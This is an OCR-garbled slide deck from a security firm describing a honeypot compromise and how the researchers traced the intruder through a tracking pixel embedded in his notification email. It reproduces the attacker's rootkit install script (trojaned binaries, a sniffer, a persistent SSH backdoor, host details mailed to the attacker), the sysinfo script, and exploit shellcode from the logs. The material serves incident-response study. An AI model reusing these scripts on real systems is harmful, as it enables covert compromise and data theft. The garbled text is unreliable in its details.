Hacker Tracking — A Case Study

ﬁ Ka Sccuritg 535tcm5
®

A ETNEISTEI I ASTol Biile]g Sl for a networked world

All Content ©2002 Ra Security Systems, Inc.




Mission of our research honeypot

To create a realistic incident response
environment

Detect an attack and compromise
Examine the evidence left by both
~ully understand the chain of events

dentify the hacker (or get as close to him as
nossible)




What Is a Research Honeypot?

A system or group of systems specifically deployed for
the purpose of observing a hacker probe, attack and
exploit network services

Must have traffic capture abilities

Must maintain control over outbound network traffic
(attacks)

The system should be identical to a production system
INn every possible way

Should be as weak or as strong as you want the
hacker to be

You must be able to quickly and effectively isolate the
system before a successful intruder can attack others




Our Research Solution

Linux PCs running apache web servers
OpenBSD layer 2 bridge

Packet Filter FW

Snort NIDS

AIDE file system integrity application
Tcpdump

Ethereal protocol analyzer




The Servers

Default but patched installations
RedHat Linux 6.2 (the lower bar)
RedHat Linux 7.0 (the higher bar)

Neither showed vulnerable services when
scanned with the Nessus vulnerability scanner

Default apache web page showing
All devices time synchronized using NTP




The Bridge / Data Capture Device

OpenBSD OS because.... well because | like it :)

Layer 2 bridge so that it is not easily visible from
outside world

No way to reach it from anything other than the
administrative network

100 Mb ethernet
Tcpdump configured for full packet captures




Network Traffic Monitoring

SNORT
Signature based Network Intrusion Detection

Configured to page researchers on any active
attack or new outbound traffic

Hourly reports by emalil

Attack signatures updated regularly from our
company's attack signature database

Good for reporting what happened and in what
seguence




Miscellaneous Tools

Tcpdump capturing whole packets

Traffic capture files rotated and archived every 24
hours

AIDE file system integrity application and MD5
digest DB hidden on servers as X11 font files

(EY4Y)
AIDE is run manually, as needed

Statically linked Isof is a very handy tool to have
loaded on the box

Have a Jump Kit of your favorite utilities on CD
ready to go (but not in the tray!)
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Case Study

Red Hat 6.2 System (the lower bar)
Hacked in less than 24 hours
Automated attack

Common tools installed on the server
Common Sequence of events



Sequence of Events

Hacker gathers information about the system by
scanning and logging into the ftp server

Exploits RPC daemon

Installs a “root kit” (tOrn variant)

Trojan ps,Is and netstat
Sniffier (linsniff)

DdoS tools

SSH back door

IRC 'bot' (emech)




The 1 og begins from Nov 9 19:44: 42
The | og ends at: Nov 9 19:57: 44
Total events: 16

Si gnatures recorded: 8

Source | P recorded: 5

Destination |IP recorded: 2

The nunmber of attacks from sane host to sane
destination usi ng sane net hod

attacks from
.32.74.50
. 58. 254. 151
.109. 122.5
. 58. 254. 151
.10.100. 10

100. 10. 100. 10
100. 10. 100. 10
100. 10. 100. 10
100. 10. 100. 10
211.58. 254. 151
root : {TCP}
1 193.
{TCP}
1 193.

109. 122.5 100. 10. 100. 10

109. 122. 5 100. 10. 100. 10

| VP Echo Reply :

RPC EXPLO T statdx :

SCAN Proxy attenpt {TCP}

RPC portmap request status : {UDP}
ATTACK RESPONSES i1 d check returned

STEALTH ACTIVITY (FI N scan) detection
| NFO -

Possi bl e Squid Scan : {TCP}




EB 7C 59 89 89 41 04 89 C3
FE CO 89 01 59 0C G6 41 OE
99 C6 41 08 0C 88 01 BO 66
CD 80 B3 04 CO 88 41 04 BO
66 CD 80 89 CD 80 FE C1 BO
3F CD 80 FE 2F 62 69 6E C7
46 04 2F 73 89 76 0C 8D 56
10 8D 4E 0OC 01 CD 80 E8 7F

47) [2001-11-09 19:45:04] ATTACK RESPONSES id check returned root
100. 10. 100. 10 -> 211.58. 254. 151
hl en=5 TOS=0 dl en=100 | D=21990 fl ags=0 of fset=0 TTL=64 chksum=12138
port=39168 -> dport: 1658 flags=***AP*** se(q=2289986047
ack=1893220841 of f =8 res=0 wi n=32120 ur p=0 chksum=61429
Opt i ons:
#1 - NOP | en=0
#2 - NOP | en=0
#3 - TS 1 en=10 dat a=00A51A6A22669A83

Payl oad: Ilength = 48

000 : 75 69 64 3D 30 28 72 6F 6F 74 29 20 67 69 64 3D uid=0(root) gid=
010 : 30 28 72 6F 6F 74 29 OA 75 69 64 3D 30 28 72 6F O(root).uid=0(ro
020 : 6F 74 29 20 67 69 64 3D 30 28 72 6F 6F 74 29 OA ot) gid=0(root).
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. 10. 100.
| pd
100. 10. 100.
| pd

| pd
100. 10. 100.
| pd

pr ot ocol

| pd

6295 root cwd 4096
6295 r oot 4096
6295 r oot 7165
6295 root nem 25386
9.5

6295 root nem REG 699832
| bc.so.5.3.12

6295 r oot Or CHR

6295 r oot lu [ Pv4 9673

10: 39168->211. 58. 254. 151: 1658 (CLOSE WAI T)
6295 r oot 2u | Pv4 9673

10: 39168->211. 58. 254. 151: 1658 (CLOSE WAI T)
6295 r oot 3u | Pv4 9672

6295 r oot 4u | Pv4 9673

10: 39168->211. 58. 254. 151: 1658 (CLOSE WAI T)
6295 r oot 5u sock 0,0

6295 r oot 6w REG 3,1 2139

88972

2
88988
16793
45392

28986
TCP

TCP

TCP
TCP

9765

89030

/ ki dz

/

/ bin/1 pd
ARRJANE
fusr/i486-1 i nux-

[ dev/ nul |

*: 39168 (LI STEN)

can't identify

[ kidz/tcp.|og




I n/ nf sd
nf sd 6301 r oot 3,1 340663 14325 RJANE
2.1. 3. sonf sd 6301 nmem REG 3,1 370141 14345
/1ib/libnsl-2.1.3.s0
nf sd 6301 r oot REG 3,1 64478 14334 /1ib/libcrypt-
2.1.3.s0
nf sd 6301 root nmem REG 3,1 47008 14379 /lib/libutil-
2.1.3.s0
nf sd 6301 root mem REG 3,1 4101324 14332 /lib/libc-2.1.3.so
nf sd 6301 r oot Ou CHR 1,3 28986 / dev/ nul
nf sd 6301 r oot 1u CHR 1,3 28986 / dev/ nul
nf sd 6301 r oot 2u CHR 1,3 28986 / dev/ nul
nf sd 6301 r oot 3u | Pv4 9672 TCP *:39168 (LI STEN
nf sd 6301 r oot 4u | Pv4 9673 TCP
100. 10. 100. 10: 39168->211. 58. 254. 151: 1658 (CLOSE WAI T)
nf sd 6301 r oot 5u | Pv4 9763 TCP *:19821 (LI STEN)
| pd 6372 root cwd D R 3,1 4096 46966
[ usr/ bin/kidz/enech-2.8.1
| pd 6372 root rtd D R 3,1 4096 2
| pd 6372 root txt REG 3,1 464406 47028
[ usr/ bi n/ ki dz/ emech-2.8.1/1 pd
| pd 6372 root mem REG 3,1 340663 14325 /1i b/l d-
2.1.3.sol pd 6372 root mem REG 3,1 4101324 14332 /lib/libc-
2.1.3.s0
| pd 6372 root nmem REG 3,1 246652 14363 /lib/libnss files-
2.1.3.s0
| pd 6372 root mem 3,1 252234 14369
/[1ib/1ibnss nisplus-2.1.3.so0

nf sd 6301 r oot 3,1 648675 88995 /b
/1




6372 root 424u
6372 root 425u
6372 root 426u
6372 root 427u
6372 root 428u
6372 root 429u
6372 root 430u
6372 root 431u
6372 root 432u
6372 root 433u
6372 root 434u
6372 root 435u
6372 root 436u
6372 root 437u

| . 4458 ( CLOSE)
|
|
|
|
|
|
|
|
|
|
|
|
|
6372 root 438u |
|
|
|
|
|
|
|
|
|
|
|
|
|
|

. 4477 ( CLOSE)
. 4495 ( CLOSE)
: 4513 ( CLOSE)
: 4531 ( CLOSE)
: 4549 ( CLOSE)
. 4567 ( CLOSE)
: 4585 ( CLOSE)
: 4603 ( CLOSE)
. 4621 ( CLOSE)
: 4639 ( CLOSE)
. 4657 ( CLOSE)
. 4675 ( CLOSE)
. 4693 ( CLOSE)
: 4711 ( CLOSE)
. 4729 ( CLOSE)
. 4747 (CLOSE)
: 4766 ( CLOSE)
: 4784 ( CLOSE)
: 4802 ( CLOSE)
: 4820 ( CLOSE)
: 4838 ( CLOSE)
. 4856 ( CLOSE)
. 4874 ( CLOSE)
. 4892 ( CLOSE)
: 4910 ( CLOSE)
. 4928 ( CLOSE)
: 4946 ( CLOSE)
Pv4 100. 10. 100. 10: 2996-

6372 root 439u
6372 root 440u
6372 root 441u
6372 root 442u
6372 root 443u
6372 root 444u
6372 root 445u
6372 root 446u
6372 root 447u
6372 root 448u
6372 root 449u
6372 root 450u

CTCTOTTCTTOTT0T0TT0T0T0TTTTTTTTTTT
OO0 0000000000000 00000000000 o
2I3II9J9J3IJ9J3IJFIIJIIIIIIIIIIIIIY
N R N N N N Y N N N Y N N A Y S SN L N A N SN N AN AN
k% ok ok ok ok ok ok 3k ok k% ok ok % ok ok % ok ok % % ok Kk * ok X ¥

6372 root 451u
6372 root 452u
>irc-i03.irc.aol.com 6661 (SYN_SENT)




Nov 9 21:26:41 jam e ftpd[6207]: ANONYMOUS FTP LOG@ N FROM e€219189. upc-. sonei sp. nl
[ XXX, XX. XXX. 189], Xgpuser @one. com

Nov 9 21:26:43 jame ftpd[6207]: FTP session closed

Nov 9 19:44:17 jam e rpc.statd[ 355]: gethostbyname error for

AXFY EMNXKFY NYFY AYFY N ZEY N ZEY N Y e[ =y ebf T 11750 8049710

8052c18687465676274736f 6d616e797265206520726f 7220726f 66

bffff718

bf fff719 Dbffff71la

bf ff f 71b<90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9
0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9
0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9
0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9
0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9
0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9
0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9
0><90><90>

Nov 9 19:46:40 jame kernel: | pd uses obsolete (PF_I NET, SOCK PACKET)

Nov 9 19:46:40 jam e kernel: ethO: Prom scuous node enabl ed.

Nov 9 19:46:40 jam e kernel: device ethO entered prom scuous node

Nov 9 19:56:14 jame telnetd[6375]: ttl oop: peer died: EOF




./ usr/ bi
./ usr/ bi
:/usr/ bi
:/usr/ bi
./ usr/ bi
:/usr/ bi
:/usr/ bi
./ usr/ bi
:/usr/ bi
:/usr/ bi
:/usr/ bi
./ usr/ bi
:/usr/ bi
:/usr/ bi
:/usr/ bi

clusr/src/li
clusr/src/li
clusr/src/li
clusr/src/li
clusr/src/li
:lusr/src/li
clusr/src/li
:lusr/src/li
:lusr/src/li
clusr/src/li

n/ ki dz/ emech- 2.
n/ ki dz/ enmech- 2.
n/ ki dz/ emech- 2.
n/ ki dz/ enmech- 2.
n/ ki dz/ emech- 2.
n/ ki dz/ emech- 2.
n/ ki dz/ enmech- 2.
n/ ki dz/ enmech- 2.
n/ ki dz/ emech- 2.
n/ ki dz/ enmech- 2.
n/ ki dz/ enmech- 2.
n/ ki dz/ enmech- 2.
n/ ki dz/ enmech- 2.
n/ ki dz/ enmech- 2.
n/ ki dz/ enech- 2. 8.
14/ ar ch

14/ ar ch/ al pha

14/ arch/al pha/lib

14/ arch/al pha/lib/.lib
14/ arch/ al pha/li b/
14/ arch/ al pha/li b/
14/ arch/ al pha/li b/
14/ arch/ al pha/li b/
14/ arch/ al pha/li b/
14/ arch/ al pha/lib/.li b/ netst at

nux- 2.
nux- 2.
nux- 2.
nux- 2.
nux- 2.
nux- 2.
nux- 2.
nux- 2.
nux- 2.
nux- 2.

NSESESESESESESERENEN

:/letc/test.fil
:/etc/sshd_config

-/ etc/ssh_host key

./ etc/ssh_random seed
-/ bin/lpd

:/ bi n/ nfsd

00 00 0O 0O OO CO 0O OO OO CO 0O OO GO O 0O

.1/ contri b/ config/servers

.1/ contrib/confi g/ servers/ DALNET
.1/ contri b/ confi g/ server s/ UNDERNET
.1/ contri b/ confi g/ servers/ EFNET
.1/ contrib/config/config

.1/ contrib/config/lnput.pl

. 1/ mech. set

. 1/ emech. users

.1/ mech. pi d

. 1/ Li nkEvent s

. 1/ [ SEEN] . seen

. 1/ mech. sessi on

.1/ mech. | evel s

.1/ 1 pd

1/ RedRoses. seen

bl
bl
bl
bl
b/

1proc
laddr
1file
ps
s










Sequence of Events




#!/ bi n/ sh

cl ear

echo "Educational purpose ONLY. Made for Skiddie.
nkdir -p /usr/src/linux/arch/alpha/lib/.lib

nmkdi r /usr/ bin/ ki dz

chattr -iau /usr/src/linux/arch/alpha/lib/.lib
lproc . 1proc

laddr . laddr

1file .1file

.1proc /usr/src/linux/arch/alphal/lib/.lib/
.laddr /usr/src/linux/arch/alphal/lib/.lib/
.Afile /fusr/src/linux/arch/al pha/lib/.lib/
/bin/ps /usr/src/linux/arch/alphal/lib/.lib/.ps
/bin/ls Jusr/src/linux/arch/alpha/lib/.lib/.ls
ps /bin/ps

ls /bin/ls

I bin/netstat /usr/src/linux/arch/alphal/lib/.lib/netstat
net stat /bi n/netstat

chown root.root /bin/ls

chown root.root /bin/ps

chown root.root /bin/netstat

nv linsniffer /bin/lpd

333333333333

"Sniffer up..."
nv sshd /bi n/ nfsd
nv -f sshd config /etc/
nm/ -f ssh _host key /etc/
nv -f ssh_random seed /etc/
nfsd -q -p 19821
echo "Backdoor is up..."
echo "nfsd -q -p 19821" >>/etc/rc.d/rc.sysinit




echo "nfsd -q -p 19821" >>/etc/rc.d/rc.sysinit
echo "nfsd -q -p 19821" >>/etc/rc.d/init.d/inet
killall -9 portmap

echo "ftp">>/etc/ftpusers

echo "root">>/etc/ftpusers

./ sysinfo > new host

cat newhost |mail -s "New root!" badguy@otnail.com
rm-f sysinfo

rm-f new host

rm-f sshd

rm-f ../rk.tgz

echo "Done. Go on :)"




#!/ bi

echo
echo New Host r oot ed
echo

echo "Kernel :";unanme -r
echo "Host :";hostnane
echo "Uptine :";uptine

cat /proc/cpuinfo |grep VH
free |grep Me

i fconfig ethO | grep inet
ping -c 4 216.32.74.50




New Host r oot ed

2.4.18-10

Host

| cepi ck

Uptinme :

2:40pm up 11 days, 23:40, 8 users, |oad average: 0.80, 0.49, 0.37

cpu Mz . 701. 602

Mem 255812 239412 16400 0 2412 84976
i net addr:10.1.1.100 Bcast: 10.255.255.255 Mask: 255. 255.255.0

PI NG 216. 32. 74. 50 (216.32.74.50) from10.1.1.102 : 56(84) bytes of data.

--- 216.32.74.50 ping statistics ---
4 packets transmtted, O received, 100% | oss, tine 3012ns




Let's Find Hm

Things we know about our hacker

A Hotmail Email address

We know where he keeps his tools
How all of his tools work

We have full access to his tool cache




Let's Find the Hacker

Modify his rootkit installation script to send us an
emaill each time he uses it

Modify the emall to be HTML instead of plaintext,
hotmail doesn't differentiate so the hacker
probably won't notice

Embed an http call, in the emaill, to a web server
we control

Http call is to a PERL script that records all user
agent data and returns and invisible 1x1 pixel gif




Modified 'Install’ script

From:

cat new host |mail -s "New root!" skiddi e@otmil.com

To:

cat newhost |mail -s "New root!" -b ne@uotnail.com skiddi e@otnail.com




Modified 'sysinfo’ script

#!/ bi n/ sh

echo "<htnl >"

echo "<head></ head>"

echo "<body>"

echo "

echo "

echo " New Host rooted
echo "

echo "Kernel :";unanme -r

echo "Host :"; hostnane

echo "Uptinme :";uptine

cat /proc/cpuinfo |grep MH

free |grep Me

I fconfig ethO | grep inet

ping -c 4 216.32.74.50

echo "</ pre>"

echo "<ing src='"http://100.100.100. 100/ 1. gif">"
echo "</body></htmnl >"




Following the Hacker




Attacker Controls 'Zombie' Host




Zombie Attacks Victim




Victim Retrieves Tools from Repository




Victim Sends Email Notification to Hacker




Attacker Retrieves Emall




Attacker's Browser Contacts our Server




Data are Sent to the Researchers




Embedded HTTP cqi calls

Dat e: Wed, 19 Dec 2001 08:55:00 -0500 (EST)
From ne@ asecuritysystens.com

To: nme@ asecuritysystens. com

Subject: M. S Kiddie

REMOTE_ADDR = 100. 100. 100. 100
REMOTE_HOST

Qut put of the Environnent:

DOCUVENT _ROOT = /usr/| ocal / apache/ htdocs

GATEVAY | NTERFACE = Cd /1.1

HTTP_ACCEPT = i mage/ gi f, image/x-xbitmap, image/jpeg, imge/ pjpeg, inmage/ png
HTTP_ACCEPT CHARSET = iso0-8859-1,*, utf-8

HTTP_ACCEPT LANGUAGE = en

HTTP_CONNECTI ON = Keep-Alive

HTTP_HOST = 207. 14. 190. 152

HTTP_PRAGVA = no-cache

HTTP_REFERER = http://pv2fd. pav2. hotmail . nsn. com cgi -

bi n/ get nsg?cur mbox=F000000001&a=29f Obec02cdef 3ce964521¢c9109f 8888&nsg=MS5G10087
69116. 5&st art =92113&I en=1915&nT s=91

HTTP_USER AGENT = Mozillal/4.73 [en] (X11: U Linux 2.2.16 i586)




Observations

Penetrated 531 systems in just under 60 days
Hosts were from all over the world

Hosts were all different types
Businesses
Home Users
Colleges
Hacker uses English language Mozilla on Linux

Always reads his mail from one location, a cable
modem in Romania




Next Steps

Create legal consensus on viability of this
methodology for use in prosecuting hackers and
organized criminal networks

Assess practicality of international law
enforcement cooperation

Draft protective language for legitimate owners of
repository systems

Explore and deepen options of this type available
to investigators




Conclusions

We Exercised and Honed our skills

The project gave us practical, real-world data to
work with

Created an environment that allowed us to hunt
the hackers under realistic circumstances

Out-of-Pocket costs in were minimal ($0 in our
case)

Total set-up time was minimal, approximately 10
man hours.

Incident cost, in time, was significant. (20 plus
man hours per incident).




Thank You

Gideon J. Lenkey, CISSP

1 Salem Square, No. 13
Whitehouse Station, NJ 08889
(908) 534-6004 ext 23
glenkey@RaSecuritySystems.com




